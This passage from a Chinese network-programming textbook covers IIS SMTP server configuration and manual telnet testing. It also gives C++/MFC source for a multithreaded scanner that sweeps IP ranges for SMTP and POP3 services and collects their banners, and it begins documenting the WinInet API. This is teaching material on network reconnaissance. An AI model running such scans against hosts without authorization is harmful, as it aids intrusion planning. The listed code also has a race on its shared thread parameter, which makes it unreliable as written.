在“常规”选项卡中，“IP地址”列出可以绑定的IP地址。单击“高级”按钮可以对其进行配置，所配置的内容主要是IP地址和端口的配置，由于界面相对简单，所以图略。SMTP默认的端口号是25，如果用户不想使用这个端口，可以将此值改成别的值，当然，也要把这个值告诉访问者，否则对方仍然会用默认的25来访问刚刚配置好的网站，这当然会出错。而后面要做的SMTP服务扫描器，正是通过连接各个端口，然后在端口中通过SMTP协议来验证该端口是不是SMTP服务。

“限制连接数为”一项给出了最大的连接数，该连接数指的是同时访问该系统的人数，而不是该系统的邮箱用户数。该数的大小直接体现邮箱的访问并发量，也是影响服务性能的一个重要参数。

“连接超时（分钟）”单个用户连接超时的设置，以分钟为单位。由于邮箱系统应该允许用户在线处理邮箱，所以此值不能设置太小，这样会导致用户在线写的邮箱经常超时无效；但此值也不能设置太大，这样会因个别用户占用太多连接数，而导致其他用户无法同时访问。

“限制连接数为”和“连接超时（分钟）”，以及前面“Internet信息服务”的“当前会话数”都是与拒绝服务（DOS）相关的重要参数和排查方法。

“启用日志记录”复选框用于显示邮箱系统是否读写日志，当设置该项后，用户同时还可以选择以什么方式和格式保存邮件日志。主要有三种格式：“Microsoft IIS日志文件格式”（以下简称IIS格式）、“NCSA公用日志文件格式”（以下简称NCSA格式）、“W3C扩展日志文件格式”（以下简称W3C格式），其中，“IIS格式”是Microsoft标准的IIS格式，包括访问者的IP地址、用户名、请求日期和时间（服务器本地时间）、服务状态码和接收的字节数。这种格式是固定的ASCII格式，便于人为阅读。“NCSA格式”是美国国家超级计算技术应用中心公用格式，也是一种固定的ASCII格式，记录了关于用户请求的基本信息，如远程主机名、用户名、日期、时间、请求类型、HTTP状态码和服务器发送的字节数。“NCSA格式”格式与“IIS格式”很像，主要区别在于在分隔各项的时候，“NCSA格式”是用空格进行分隔的，“IIS格式”是通过半角逗号“,”进行分隔的。“W3C格式”是一种包含多个不同属性、可自定义的ASCII格式。可以记录对管理员来说重要的属性，可省略不需要的属性字段来限制日志文件的大小。各属性字段以空格分开，时间以UTC形式记录。

单击图7.32界面上的“属性”按钮，可以对日志进行配置，出现图7.33所示的界面。由于活动日志格式选择了“W3C扩展日志文件格式”下拉列表项，所以在图7.33中有一个“扩展属性”选项卡，用于自定义显示的内容。而另两个活动日志格式不能自定义显示的内容，所以没有“扩展属性”选项卡。在“常规属性”选项卡中，用户可以设定日志文件的时间，无论是选择哪种时间，系统都会在“日志文件目录”所指定的目录按时生成日志文件。“扩展属性”主要是完成对日志中显示项目的定制，且只能用于“W3C扩展日志文件格式”，故其示图略。
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图　7.33　邮箱日志属性

单击图7.32界面上的“访问”选项卡，如图7.34所示。
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图　7.34　网络属性配置SMTP服务“访问”选项卡参数界面

各需要设置的项都是与访问有关的，其中最主要的是“访问控制”分组，单击“身份验证”按钮，即可进入“身份验证”的对话框，如图7.35所示。
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图　7.35　网络属性配置SMTP服务“访问”选项卡“身份验证”界面

可以对身份验证设置三类访问控制。“匿名访问”用于设置SMTP服务是否支持匿名访问，虽然默认的选项是允许匿名访问，但实际中不建议用户允许匿名访问。因为“匿名访问”允许所有客户端无须用户名和密码就可以通过访问SMTP服务器向外发送邮件。

“基本身份验证”复选项用于设置在默认域中，通过预设的用户名和密码进行访问，但默认情况下，包括密码在内的所有命令都是以明文格式提交给邮件服务器，用户可以指定TLS（Transport Layer Security，传输层安全）加密方式对所传的用户名和密码进行加密，但这也要求客户端使用同样的加密方式。明文就是不经任何处理的文本内容，主要是与经过加密后的“密文”相对应。其实，所有未加密的内容都是明文，因此明文只是在加密时，才会针对未加密的内容称呼明文。对明文传输，尤其是传输密码时，其危害是不言而喻的。第11章的11.4节“明文密码嗅探”中，设计了一种基于关键字的明文监听方式。

“集成Windows身份验证”复选项，则会启用Microsoft.NET Server系列产品提供的标准安全机制。这种安全机制使企业为用户提供安全登录服务成为可能。“集成Windows身份验证”方式使用加密技术对用户进行身份验证，并且不要求用户通过网络传输真实的密码。但要注意，选择使用“集成Windows身份验证”方式，则要求邮件客户端必须支持此身份验证方法。

“默认SMTP虚拟服务器属性”对话框中，“访问”选项卡中，还有“安全通讯”、“连接控制”、“中继限制”等分组，这些访问控制通过证书类的认证方式，或对IP进行限制，使用并不多，所以此处不再一一提及。

单击图7.32界面上的“邮件”选项卡，如图7.36所示。
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图　7.36　网络属性配置SMTP服务“邮件”选项卡界面

“邮件”选项卡主要用来设置SMTP服务器中客户端发送邮件的限制，具体说明如下：

❑“限制邮件大小为（KB）”复选项，主要是设置SMTP服务将通知SMTP虚拟服务器可接收的最大邮件大小（以千字节为单位）。如果邮件客户端发送的邮件超过了此限制，则SMTP虚拟服务器将向邮件客户端发送一条错误消息。

❑“限制会话大小为（KB）”复选项，则可设置整个连接过程中接受的最大数据量（以KB为单位），用于限制连接过程中发送的所有邮件的数量总和。

❑“限制每个连接的邮件数为”复选项，则可以限制在一次连接中发送的邮件数。

❑“限制每个邮件的收件人数为”复选项，则可限制每个邮件的最大收件人数，默认值为100个，也是RFC 821中规定的最小要求值。

❑“将未传递报告的副本发送到”文本框用于设置在有无法传递的邮件时的未传递报告（NDR）副本发送到一个特定的SMTP信箱，同时系统会将无法投递的邮件返回发件人。

❑“死信目录”文本框中用于设定超过最大重试次数限制后仍不能将无法发送的邮件目录。

单击图7.32界面上的“传递”选项卡，如图7.37所示。该界面主要是设置SMTP服务器中客户端发送出错后的处理，以及SMTP虚拟服务器本身对错误的处理参数。其内容相对直观、明了，并且与扫描相关性不大，故不再赘述。
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图　7.37　网络属性配置SMTP服务“传递”选项卡界面

单击图7.32界面上的“LDAP路由”选项卡，如图7.38所示。该界面主要使用“LDAP路由”选项卡指定用于SMTP虚拟服务器的目录服务器的标识和属性，目录服务存储与邮件客户端及其邮箱有关的信息。其内容相对简单，并且与扫描相关性不大，故不再赘述。
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图　7.38　网络属性配置SMTP服务“LDAP路由”选项卡

单击图7.32界面上的“属性”按钮“安全”选项卡，如图7.39所示。该界面主要设置管理员用户，其内容相对简单，并且与扫描相关性不大，故不再赘述。
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图　7.39　网络属性配置SMTP服务“安全”选项卡界面

安装成功后，可以从“资源管理器”、“Internet信息服务”、“手工验证协议”三个方面验证上面的各项操作和配置。

首先，通过资源管理器，可以找到SMTP中，虚拟邮件服务器的主目录：C:\Inetpub\Mailroot。该主目录与Windows的其他几个主目录一样，是SMTP邮件服务器的根目录。值得一提的是，这里所进行的各项设置是“SMTP邮件服务器”的配置，而不仅仅只是SMTP协议本身的配置，SMTP协议本身是随操作系统安装的，即使没有上面的安装配置，用户仍然可以利用SMTP与网络上的邮件服务器相连，进行邮件的收发，但有了上述的设置，则本地主机同样也是一个邮件服务器。

默认情况下，在SMTP服务器的根目录下，还会有Badmail（不能投递的邮件）、Drop（收件箱）、Mailbox（对要发送邮件进行整理）、Pickup（等发送邮件）、Queue（发送过程中的邮件）、Route（对要发送邮件进行重组）、SortTemp（对要发送邮件进行排序）等几个目录，参见后面的图7.43。

其次，既然SMTP协议是一个交换的协议，当然也可以通过手工进行验证，进入Windows命令符窗口，然后输入"telnet localhost 25"，回车后，如果一切正常就会进入到SMTP的界面，如图7.40所示。
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图　7.40　通过手工验证邮件的收发

在图7.40中，登录成功，则SMTP服务器系统首先回复220表示命令成功，并且在随后显示出SMTP的欢迎信息、版本信息以及当前时间。这都可以作为SMTP扫描的参考信息，只是这种信息并不是每一个SMTP服务器软件都会提供，所以此内容也仅供扫描者参考。随后就是通过SMTP协议的命令与服务器进行交换，通过命令方式，图例中成功地创建了一个用在线方式写的电子邮件。该邮件将可以真正地使用，也就是说：通过这种方式，也可以在没有客户端的方式下，在任何主机上手工地发送邮件到世界各地，而邮件客户端的编写也正是采用此原因，当然，此后的扫描器也是这个原因，只是扫描器的目的不同，所以不用重复上述所有步骤。

第三，需要回到“Internet信息服务”的界面中，来验证这个手工编写的邮件。在“Internet信息服务”界面（参见图7.41）中，“默认SMTP虚拟服务器”的“域”一项中，有默认设置的"mail.lrm.com"的域（这是为了说明问题而杜撰的一个域名）。并且在手工测试的时候，使用到了这个域。
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图　7.41　网络默认SMTP虚拟服务器的“域”选项图

其中，“默认SMTP虚拟服务器”还有一个“当前会话”项，是列举当前邮件系统中的“会话”。按图7.40所示的方法手工写邮件，此时访问“当前会话”，就可以看到正在处理的“会话”，如图7.42所示。当邮件发送完毕，连接断开时，刷新“当前会话”界面，则该会话项消失。
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图　7.42　网络默认SMTP虚拟服务器的“当前会话”选项图

如前所述的第一个“资源管理器”验证项中提到，用户所创建的邮件分别放置在不同的本地目录中，那么通过查看这些默认的目录，也可以看到上述通过手工所创建的邮件。在图7.40中，手工创建的邮件发送到当地lrm的邮箱中（其实就是自己给自己发送了一封邮件），如图7.43所示，在"Drop"（相当于收件箱）目录中，保存了收到那封由手工所编写并发送的邮件。
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图　7.43　实际信件的收发

其中，接收到的邮件，由于邮件文件名是系统所自动生成，所以看上去像是乱码，但SMTP服务器会维护其文件名和实际邮件的对应关系。双击"Drop"中的邮件，可以看到由系统默认邮件文件读取程序所显示的实际效果。该程序是Microsoft默认的邮件读取程序，如果用户修改了该默认项，则用户的界面显示效果会略有不同，但所显示的内容是一致的，如图7.44所示。
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图　7.44　Email实例图


7.8　编程实例：Email服务扫描器

通过上面的分析，很容易发现，要扫描对方是否提供Email服务，可以分为扫描SMTP服务和POP（或IMAP）协议的扫描器。


 7.8.1　程序主界面

分析上述各命令，可以使用其中的NOOP命令作为判断标准，因为这个命令既可以判断出对方是否提供此服务，又不会影响到其他的操作。Email服务扫描器主界面如图7.45所示。
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图　7.45　Email扫描器主界面

主界面分为上、中、下三个部分，上部分是“扫描范围”分组，用于设置IP地址范围；中间部分是“扫描结果”结果，用于显示扫描过程和扫描结果，下面部分显示命令执行结果和当前状态。

单击“开始扫描”按钮，系统进入扫描状态。单击“结束扫描”按钮，程序会中止当前的扫描状态。“清空结果”表示清除已监测到的结果。


7.8.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ServiceScaner_Email。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码

考虑到本章程序格式上大同小异，所不同的只是扫描算法，所以这里只列出扫描算法的源码，其他部分的源码，详见本章WWW服务扫描器的源程序介绍。



void CServiceScanerDlg::OnBUTTONStart()

{

UpdateData(TRUE);

UNIONIP ipBegin,ipEnd;

m_ctlIPBegin.GetAddress(ipBegin.dwDword);

m_ctlIPEnd.GetAddress(ipEnd.dwDword);

g_bScaning=TRUE;

g_iTotalThreadCount=0;

ThreadParam.ptr=this;

ThreadParam.pctlTreeResult=(CTreeCtrl*)＆m_ctlTreeResult;

int iIndexInList=0;

for(DWORD ip=ipBegin.dwDword;ip＜=ipEnd.dwDword;ip++)

{

if(iIndexInList＞1000)

{

MessageBox("线程太多，会导致系统很慢，本次扫描只扫前1000个。",

"操作提示",MB_OK);

break;

}

ThreadParam.strIP=IPDwordToStr(ip);

HTREEITEM curr=m_ctlTreeResult.InsertItem(ThreadParam.strIP);

ThreadParam.curr=curr;

ThreadParam.iIndexInList=iIndexInList;

ThreadParam.uPort=m_iPortSmtp;

AfxBeginThread(ThreadScan_Smtp,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(40);

ThreadParam.iIndexInList=iIndexInList+1;

ThreadParam.uPort=m_iPortPop3;

AfxBeginThread(ThreadScan_Pop3,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(40);

iIndexInList+=2;

}

m_strComment.Format("扫描中.......");

UpdateData(FALSE);

SetTimer(1,1000,NULL);

}

UINT ThreadScan_Smtp(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CServiceScanerDlg*ptr=threadparam-＞ptr;

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;

HTREEITEM curr=threadparam-＞curr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strTemp;

//使用SOCKET

SOCKET sock;

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

//AfxMessageBox("原始套接字Socket设置出错!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,

(char*)＆iTimeOut,sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,

(char*)＆iTimeOut,sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务。!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

//线程进入协议测试状态

//IP包最大为64K左右，所以定义一个大的缓冲区

UCHAR RecvBuf[MAXRECEIVENUM];

//先接收一次，对方返回的内容中间含有版本信息，可以用作显示

CString strVersion;

int iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet!=SOCKET_ERROR＆＆iLenRet!=0)

{

strVersion.Format("%s",RecvBuf);

if(strVersion.GetLength()＞iLenRet)

strVersion=strVersion.Left(iLenRet);

}

BOOL bIsSmtp=FALSE;//假设对方不支持SMTP协议

UCHAR ucSendNoop[8]={'N','O','O','P',0x0D,0x0A,'\0'};

for(int i=0;i＜3;i++)

{

send(sock,(char*)ucSendNoop,8,0);

iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet==SOCKET_ERROR||iLenRet==0)

continue;

strTemp.Format("%s",RecvBuf);

if(strTemp.GetLength()＞iLenRet)

strTemp=strTemp.Left(iLenRet);

if(strTemp.Left(4)=="250")

{

bIsSmtp=TRUE;

break;

}

if(strTemp.Find("OK")＞=0)

{

bIsSmtp=TRUE;

break;

}

}//for(int i=0;i＜3;i++)

//退出系统

UCHAR ucSendQuit[8]={'Q','U','I','T',0x0D,0x0A,'\0'};

send(sock,(char*)ucSendQuit,8,0);

//只是象征性地读取一下退出的消息

recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(bIsSmtp)

{

pctlTreeResult-＞InsertItem("有SMTP协议："+strVersion,curr);

}

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

//AfxMessageBox("Over");

return 0;

}

UINT ThreadScan_Pop3(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CServiceScanerDlg*ptr=threadparam-＞ptr;

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;

HTREEITEM curr=threadparam-＞curr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strTemp;

//使用SOCKET

SOCKET sock;

if((sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,

WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

{

//AfxMessageBox("原始套接字Socket设置出错!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,

(char*)＆iTimeOut,sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,

(char*)＆iTimeOut,sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务。!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

//线程进入协议测试状态

/IP包最大为64K左右，所以定义一个大的缓冲区

UCHAR RecvBuf[MAXRECEIVENUM];/

//先接收一次，对方返回的内容中间含有版本信息，可以用作显示

CString strVersion;

int iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet!=SOCKET_ERROR＆＆iLenRet!=0)

{

strVersion.Format("%s",RecvBuf);

if(strVersion.GetLength()＞iLenRet)

strVersion=strVersion.Left(iLenRet);

}

BOOL bIsPop3=FALSE;//假设对方不支持POP3协议

UCHAR ucSendNoop[8]={'N','O','O','P',0x0D,0x0A,'\0'};

for(int i=0;i＜3;i++)

{

send(sock,(char*)ucSendNoop,8,0);

iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet==SOCKET_ERROR||iLenRet==0)

continue;

strTemp.Format("%s",RecvBuf);

if(strTemp.GetLength()＞4)

{

strTemp=strTemp.Left(4);

strTemp.MakeUpper();

if(strTemp=="-ERR"||strTemp=="+OK")

{

bIsPop3=TRUE;

break;

}

}

}//for(int i=0;i＜3;i++)

//退出系统

UCHAR ucSendQuit[8]={'Q','U','I','T',0x0D,0x0A,'\0'};

send(sock,(char*)ucSendQuit,8,0);

//只是象征性地读取一下退出的消息

recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(bIsPop3)

{

pctlTreeResult-＞InsertItem("有POP3协议："+strVersion,curr);

}

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

//AfxMessageBox("Over");

return 0;

}




第8章　基于应用的服务扫描器的设计

本章与第7章的内容同属服务扫描但有很大的不同，第7章试图通过对Windows系统中常见的几个网络服务器从协议的角度，设计和验证一种基于协议的通用服务类扫描器算法，而本章则采用更高一个层次的设计开发方式。

从理论上来说，几乎所有能运行在互联网上的协议，最底层的通信部分都是TCP/IP协议，但如果所有程序都从TCP/IP协议的基础上去做，就会非常麻烦。也正是因为这个原因，很多服务提供商会提供一些高层的开发包，这些开发包将底层通用的、繁杂的、模式固定的开发都封装起来，最终展示给程序员的只是一些面向应用的接口。虽然描述不一定准确，在这里统一称为基于应用的接口。

以互联网上重要的WWW、FTP应用为例，除了直接采用Socket编程之外，Microsoft还向程序员提供了Win Inet编程接口，该接口直接在TCP/IP协议之上，结合WWW、FTP、Gopher三个协议又进行了封装，通过Win Inet可以方便地从WWW、FTP、Gopher服务器上直接读取指定的资源。除了Win Inet之外，本章还讨论了另一个网络资源的扫描方式，该API接口通过仅有的几个API函数，就可以列举出网络中同组成员的共享目录、共享打印机等信息。通过使用这种接口，不仅使代码量和复杂程度成倍缩小，而且这些代码屏蔽了很多技术细节，使用户不需要关注底层的操作，只需要关注具体的应用即可。

本章在介绍完两个应用编程接口后，分别都用实例说明了WWW服务扫描器、FTP服务扫描器、网络资源扫描器的设计方法。


 8.1　Win Inet编程接口

Win Inet（Win32 Internet Function,Win32位系统互联网功能调用）是一个基于TCP/IP协议的高层网络编程接口。通过该接口，可以使程序员在较高层次上，通过直接使用WWW、FTP和Gopher应用，而不必关心Socket编程中所必须关心的数据格式、操作同步、出错处理等复杂的细节问题，从而简化了编程的过程。

同其他应用的编程方式差不多的是，Win Inet编程也可以分为两种：使用Win Inet的类、直接使用WinInet API函数。二者各有利弊，Win Inet类对API进行了封装，很多细节被隐藏，所以使用起来会更简单；直接使用API函数可以获得更多底层细节的控制。本处只介绍使用Win Inet类的方法。

Win Inet类共有四个大的类：CInternetSession、CInternetConnection、CInternetFile、CInternetException，四者的关系如图8.1所示。
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图　8.1　Win Inet四个类的关系图

在使用中，首先需要通过CInternetSession建立一个会话，通过该会话的OpenURL方法可以打开一个URL连接，该连接采用的是CInternetFile类型的数据，所以对于网络上文件的读取操作就要通过CInternetFile类的成员实现。对于该连接的维护则通过CInternetConnection类实现，这可以通过会话中的GetConnection方法。无论是哪一个类的操作，凡涉及连接和文件读写的，都可以通过CInternetException类捕获抛出的异常。因此Win Inet编程其实就是这四个类互相配合使用。


 8.1.1　CInternetSession类

CInternetSession类主要完成的是建立一个与远端服务器的会话，并维护整个会话过程中的各项参数。一旦建立好这样的一个会话，就可以通过OpenURL函数打开远端服务上的URL地址，系统会自动调用AfxParseURL解析这个URL地址，如果该地址是合法，并且有效，系统就可以把远端服务器上的URL地址当成一个文件，然后像读本地文件一样，进行读或写的操作。

CInternetSession类除了建立连接，对URL地址进行读写之外，还可以对远端服务器进行Cookie的读写操作。下面介绍CInternetSession类中的函数与方法。

8.1.1.1　CInternetSession构造函数



CInternetSession(LPCTSTR pstrAgent=NULL,DWORD dwContext=1,DWORD

dwAccessType=INTERNET_OPEN_TYPE_PRECONFIG,LPCTSTR pstrProxyName=

NULL,LPCTSTR pstrProxyBypass=NULL,DWORD dwFlags=0);



CInternetSession函数用于创建一个CInternetSession对象，该函数应该是后续各函数中第一个应该调用的。函数完成内部数据的初始化，一些其他函数调用时参数的准备。如果函数调用失败，函数将会抛出一个AfxThrowInternetException异常。

参数如下：

❑pstrAgent：一个指向字符串的指针，该字符串用于表明一个Internet函数的应用或实体。默认情况下，该字符串可以为NULL，此时表示使用全局函数AfxGetAppName返回的应用程序名称作为其名称，有很多协议使用应用程序的名称作为该项标识给远端的服务器。

❑dwContext：该值用于表示通过回调函数CInternetSession::OnStatusCallback返回的操作状态信息，默认值为1，用户也可以指定为其他的值。设定后的所有操作都会与此值相绑定，如果标志位dwFlags中包含INTERNET_FLAG_ASYNC属性，则通过该对象所创建的对象都具有异步的特性；否则如果要使用同步特性，则必须设为0。

❑dwAccessType：访问类型，该值可以是下面各值：

[image: ]


❑pstrProxyName：如果dwAccessType参数的值是INTERNET_OPEN_TYPE_PROXY，则该值默认为NULL。

❑pstrProxyBypass：该值只在dwAccessType设为INTERNET_OPEN_TYPE_PROXY时有效，表示的是一个包含服务器地址列表的字符串。当使用代理访问时，地址可以跳过。如果该值为NULL，函数将从注册表中读预设值。

❑dwFlags：用于表示一些行为的组合标志位。默认值为0，用户可以设为下面各值的组合：
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如果dwFlags值中包含INTERNET_FLAG_ASYNC，则当回调机制被注册时起，由该句柄派生的所有句柄都将具有异步特性。

8.1.1.2　AfxParseURL函数和AfxParseURLEx函数

AfxParseURL函数和AfxParseURLEx函数都属于MFC的范围，所完成的功能都是将指定的URL地址分解成若干个子项。如前7.1.1.3中所述，完整的URL格式为“http://主机地址:[端口]/[路径/[文件名?[参数=参数值]]]”，两函数会根据该格式进行分解。考虑到实际的需要和人们的习惯，在平时使用中，一个URL地址并不一定包含上述所有子项，遇到这种情况，两函数会将没有出现在表达式中的子项使用其默认值，如HTTP的端口值默认为80，如果端口值不显式地指定为某值，则函数会自动取80。二者的区别在于后者更具有灵活性，可以获得更详细的内容，考虑到在基于Win Inet中广泛使用，所以在此处一并介绍。函数如下：



BOOL AFXAPI AfxParseURL(LPCTSTR pstrURL,

DWORD＆dwServiceType,

CString＆strServer,

CString＆strObject,

INTERNET_PORT＆nPort);



和



BOOL AFXAPI AfxParseURLEx(LPCTSTR pstrURL,

DWORD＆dwServiceType,

CString＆strServer,

CString＆strObject,

INTERNET_PORT＆nPort,

CString＆strUsername,

CString＆strPassword,

DWORD dwFlags=0);



AfxParseURL函数把一个完整或不完整的URL地址解析成几个不同的组成部分。以"service://server:port/dir/dir/object.ext"为例，解析后为：strServer="server"；nPort=port；dwServiceType=#service；strObject="/dir/dir/object/object.ext"。

返回值：如果URL被成功解析，则返回TRUE；否则返回FALSE。

参数如下：

❑pstrURL：指向一个要解析的URL地址字符串。

❑dwServiceType：服务类型，该服务类型可以是如下值之一：
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❑strServer：远端服务器地址。

❑strObject：URL指向的对象。该值可能为空。

❑nPort：端口值。

❑strUsername：一个CString类对象，包含用户名。

❑strPassword：一个CString类对象，包含密码。

❑dwFlags：条件解析项，包含怎么解析URL地址，默认情况下，是以下各项的组合：
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8.1.1.3　OpenURL方法



CStdioFile*OpenURL(LPCTSTR pstrURL,DWORD dwContext=1,DWORD dwFlags=

INTERNET_FLAG_TRANSFER_ASCII,LPCTSTR pstrHeaders=NULL,DWORD

dwHeadersLength=0);

Throw(CInternetException);



该功能完成一个对远端服务器的指定查询，实质上，是对InternetOpenURL的封装，通过该函数，可以完成对指定URL资源的下载。因此这也是基于Win Inet扫描的重要函数。

返回值：函数调用后，会返回一个文件句柄，该句柄会根据URL中协议的不同而不同，可能是FTP、GOPHER、HTTP或FILE-type的一种，如果调用失败，则返回NULL。

参数如下：

❑pstrURL：需要解析的URL地址，该值不能为空。目前，URL地址标准的格式为：



protocol://hostname[:port]/path/[filename][?query]#fragment



其中该函数支持的协议只有如下几种：
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❑dwContext：回调函数中返回的句柄。

❑dwFlags：控制连接的一个标志位。该值只能是下列各值的组合：
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上面各方式中，虽然可以几种方式相互组合，但INTERNET_FLAG_TRANSFER_ASCII和INTERNET_FLAG_TRANSFER_BINARY二者必选一，且不能同时选。

❑pstrHeaders：一个包含头部的字符串，用于发送到HTTP服务器上。

❑dwHeadersLength：附加头部的字符的长度，如果长度是一个-1L，并且pstrHeaders非空，则pstrHeaders会尝试变成一个哑终端，并且长度会被计算。

8.1.1.4　GetConnection方法

CInternetConnection函数可以完成与服务器的连接，但因为Win Inet类可以完成对WWW、FTP、Gopher三种服务的连接，所以在使用中，更多的是使用该函数的派生类CHttpConnect。即CInternetSession::GetHttpConnection、CInternetSession::GetftpConnection和CInternetSession::GetGopherConnection。由于CInternetSession::GetGopherConnection目前使用得很少，所以下面只介绍前面两种。

8.1.1.5　GetHttpConnection方法



1)CHttpConnection*GetHttpConnection(LPCTSTR pstrServer,INTERNET_PORT

nPort=INTERNET_INVALID_PORT_NUMBER,LPCTSTR pstrUserName=NULL,

LPCTSTR pstrPassword=NULL);

Throw(CInternetException);

2)CHttpConnection*GetHttpConnection(LPCTSTR pstrServer,DWORD dwflags,

INTERNET_PORT nPort=INTERNET_INVALID_PORT_NUMBER,LPCTSTR

pstrUserName=NULL,LPCTSTR pstrPassword=NULL);

Throw(CInternetException);



上面两个函数的表现形式不同，但功能是一样的，在使用的时候可以任选一种，调用成功后，建立一个HTTP的连接，并获得一个指向CHttpConnection对象的指针。需要说明的是：上面操作只是建立一个与WWW服务器的连接，并没有任何其他的操作，如登录、查找、下载等。如果需要进行这些操作，仍需要通过调用其他函数来完成这些操作。

返回值：是一个指向CHttpConnection对象的指针。如果调用失败，则可以通过异常所抛出的CInternetException进行进一步判断。

参数如下：

❑pstrServer：指向一个包含HTTP服务器名称的指针。

❑nPort：HTTP服务器所用的端口号。

❑pstrUserName：指向一个包含用户名称的指针。

❑pstrPassword：指向一个包含密码的指针。

❑dwflags：标志位描述。

8.1.1.6　GetFtpConnection方法



CFtpConnection*GetFtpConnection(LPCTSTR pstrServer,LPCTSTR pstrUserName=

NULL,LPCTSTR pstrPassword=NULL,INTERNET_PORT nPort=

INTERNET_INVALID_PORT_NUMBER,BOOL bPassive=FALSE);

Throw(CInternetException);



调用此函数成功后，建立一个FTP的连接，并获得一个指向CFtpConnection对象的指针。需要说明的是：同GetHttpConnection一样，上面操作只是建立一个与FTP服务器的连接，并没有任何其他的操作。

FTP服务器与WWW服务器不同的一点是，很多公用FTP服务器提供匿名访问，此时，匿名可以由FTP服务器管理员指定，默认的用户名是anonymous，密码为空或不做限制，出于礼貌，一般用户会将自己的电子邮件地址作为密码，以便在服务器管理员需要联系的时候可以联系到自己。

返回值：是一个指向CFtpConnection对象的指针。如果调用失败，则可以通过异常所抛出的CInternetException进行进一步判断。

参数如下：

❑pstrServer：指向一个包含FTP服务器名称的指针。

❑pstrUserName：指向一个包含用户名称的指针。很多公用FTP允许匿名访问，如果该值为NULL，则采用匿名访问。

❑pstrPassword：指向一个包含密码的指针。由于FTP允许匿名访问，所以该值与用户名组合起来，会完成如下功能：
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❑nPort：HTTP服务器所用的端口号。

❑bPassive：布尔型值，如果为TRUE，则设置dwFlag值具有INTERNET_FLAG_PASSIVE属性。

8.1.1.7　QueryOption方法



1)BOOL QueryOption(DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufLen)

const;

2)BOOL QueryOption(DWORD dwOption,DWORD＆dwValue)const;



上面两个函数的表现形式不同，但功能是一样的，在使用的时候可以任选一种，调用成功后，返回要查询的参数的当前值。

返回值：如果操作成功，则返回TRUE。如果有错误发生，则返回FALSE，并且通过调用GetLastError获得对错误信息进一步的解释。

参数如下：

❑dwOption：Internet查询项，可以是以下值之一：
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❑lpBuffer：接收选项值的缓冲区指针。

❑lpdwBufLen：接收选项值的缓冲区长度。

❑dwValue：发送的值代替lpBuffer。

8.1.1.8　SetOption方法



1)BOOL SetOption(DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength);

2)BOOL SetOption(DWORD dwOption,DWORD dwValue);



上面两个函数的表现形式不同，但功能是一样的，在使用的时候可以任选一种，调用成功后，返回要设置的参数的当前值。

